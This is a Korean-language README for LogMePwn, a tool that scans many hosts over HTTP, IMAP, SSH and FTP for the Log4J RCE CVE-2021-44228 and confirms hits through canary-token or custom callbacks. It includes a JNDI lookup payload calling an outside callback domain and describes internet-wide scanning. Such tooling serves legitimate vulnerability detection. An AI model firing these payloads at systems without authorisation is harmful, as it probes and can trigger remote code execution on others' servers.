
완전 자동화되고, 신뢰할 수 있으며, 초고속인 Log4J RCE CVE-2021-44228 취약점 스캐닝 및 검증 툴킷입니다.
LogMePwn은 완전 자동화된 다중 프로토콜, 신뢰할 수 있고 초고속 스캐닝 및 검증 툴킷으로, Log4J RCE CVE-2021-44228 취약점을 대상으로 합니다.

LogMePwn은 Canary Tokens을 활용하여 이메일 및 웹훅 알림을 선호하는 커뮤니케이션 채널로 전송합니다. 사용자 정의 콜백 서버가 있다면 그것도 사용할 수 있습니다!
도구를 사용하려면 Releases 섹션에서 배포판에 맞는 바이너리를 다운로드하여 사용하면 됩니다. 직접 빌드하려면 Go >= 1.13이 필요합니다. 리포지토리를 클론하고 go build를 실행하세요.
다음은 도구의 기본 사용법입니다:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
신규: 이 기능은 v2.0에서 도입되었습니다.
최신 버전에서는 여러 프로토콜 지원이 추가되었습니다. 현재까지 지원되는 프로토콜은 총 4가지입니다:
-protocol 인수를 통해 프로토콜을 지정하지 않으면, 도구는 지원되는 모든 프로토콜의 플러그인을 기본 포트 집합에 대해 실행합니다.
예시:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # 기본 포트에서 모든 프로토콜 스캔
대상은 명령줄 인터페이스 인수 또는 파일을 통해 두 가지 방식으로 지정할 수 있습니다.
신규: 이제 CIDR 범위도 스캔할 수 있습니다! 이 기능은 v1.1에서 도입되었습니다.
예시:
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
각 프로토콜에는 기본 지원 포트 목록이 있으며, 다음 플래그를 사용하여 세밀하게 조정할 수 있습니다:
-http-ports (HTTP)-imap-ports (IMAP)-ssh-ports (SSH)-ftp-ports (FTP)host:port 형식으로 호스트+포트 쌍을 지정하면 기본 포트 목록이 무시되고 해당 포트에 대해서만 모든 검사가 수행됩니다. -protocol이 지정되지 않으면 동일한 포트에 대해 모든 프로토콜의 플러그인이 테스트됩니다.
이 기능은 v1.1에서 도입되었습니다.
페이로드는 -payload 인수를 통해 직접 지정할 수 있습니다. 하지만 페이로드에 테스트 중인 호스트의 DNS 이름을 포함하려면 $DNSNAME$ 포맷 지시자를 사용할 수 있으며, 이는 페이로드가 테스트되는 대상으로 대체됩니다.
예를 들어, 다음과 같은 명령어를 실행하면:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
HTTP 요청을 보낼 때 페이로드는 다음과 같이 변환됩니다:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
이 기능은 블랙박스 퍼징 시 어떤 호스트가 취약한지 평가하는 데 도움이 됩니다.
동일한 인수를 사용하여 여러 변형이 포함된 페이로드 파일을 지정할 수도 있습니다. (payloads-sample.txt 참조). 예시:
./lmp -payload payloads-sample.txt vulnerable.site.com
참고: 이 기능은 Canary Tokens와 함께 작동하지 않습니다. Canarytokens는 사용자 정의 DNS 형식을 지원하지 않습니다.
참고:
-payload를 사용하여 사용자 정의 페이로드를 제공하는 경우 알림 채널을 지정할 필요가 없습니다. 페이로드 자체에 콜백 서버가 포함되어야 합니다.
알림 채널은 다음 중 하나일 수 있습니다:
-email)-webhook)-custom-server)도구는 Canary Tokens를 활용합니다. 여기에서 직접 생성하거나 도구가 토큰을 생성하도록 할 수 있습니다. 도구가 토큰을 생성하면 canarytoken-logmepwn.json 파일에 토큰과 인증 정보가 기록되며, 웹 인터페이스에서 트리거를 보려면 둘 다 필요합니다.
이미 토큰이 있는 경우 -token 인수를 사용하면 새 토큰을 생성하지 않고 직접 사용할 수 있습니다.
참고: 이메일이나 웹훅을 제공하면 도구가 사용자 정의 canary 토큰을 생성합니다. 사용자 정의 콜백 서버를 사용하는 경우 토큰은 필요하지 않습니다.
도구는 요청 전송 시 뛰어난 유연성을 제공합니다. 기본적으로 GET 요청을 사용합니다. 기본 헤더 집합이 사용되며, 각 헤더 값에는 페이로드가 포함됩니다. -headers 인수를 통해 사용자 정의 헤더 집합을 지정할 수 있습니다. -headers-file 스위치를 사용하여 헤더 목록이 포함된 파일을 제공할 수도 있습니다. 예시:
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080
스캔에 사용할 HTTP 메서드 목록은 -methods 스위치로 지정할 수 있습니다. POST, PUT 등 본문이 포함된 요청의 경우 본문 내용을 사용자 정의할 수 있습니다.
기본적으로 도구는 본문에 페이로드를 직접 전송합니다. 본문은 다음과 같은 방식으로 사용자 정의할 수 있습니다:
-json을 지정하면 요청 본문이 JSON 타입이 됩니다.-xml을 지정하면 XML 형식이 됩니다.-fbody를 사용하면 페이로드가 삽입될 사용자 정의 형식 문자열을 지정할 수 있습니다. 이는 테스트 시 복잡한 요청 생성이 가능합니다. 예를 들어, 콘텐츠를 HTML로 보내려면 다음과 같이 할 수 있습니다:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
사용자 정의 User-Agent 헤더 값은 -user-agent 스위치로 지정할 수 있습니다.
도구는 넓은 범위의 대상을 스캔하도록 최적화되어 있습니다. 충분한 네트워크 대역폭과 하드웨어가 있다면 하루 안에 전체 IPv4 공간을 스캔할 수 있습니다. 기본 동시 스레드 수는 10개로 설정되어 있습니다 (로컬 하드웨어에서 안정성을 위해 최적화). 값은 수천까지 늘릴 수 있습니다 (벤치마킹 작업은 여러분에게 맡깁니다). :)
-threads 스위치를 사용하여 도구에 사용할 스레드 수를 지정하세요.
HTTP 요청이 많이 발생하므로 원격 호스트가 요청을 처리하는 데 부담이 될 수 있습니다. -delay 매개변수는 이러한 경우에 도움이 됩니다. 지연 시간(초 단위)을 지정하면 서버의 동일한 포트에 대한 두 개의 연속 요청 사이에 해당 시간이 적용됩니다.
스캐너를 시연하기 위해 @christophetd의 취약한 설정을 docker로 사용합니다:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

그런 다음 설정에 대해 도구를 실행합니다:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

그러면 토큰 기록 페이지와 이메일에서 볼 수 있는 몇 가지 DNS 조회가 즉시 트리거되었습니다:

v2.0 업데이트:
v1.1 업데이트:
Twitter로 연락하거나 이슈 또는 PR을 생성해 주세요.
이 도구는 GNU GPLv3 라이선스를 따릅니다. LogMePwn은 현재 v2.0입니다.
놀라운 Canary Tokens 프로젝트를 만든 Thinkst Canary 팀에게 감사드립니다.
♡로 제작됨: Pinaki (@0xInfection).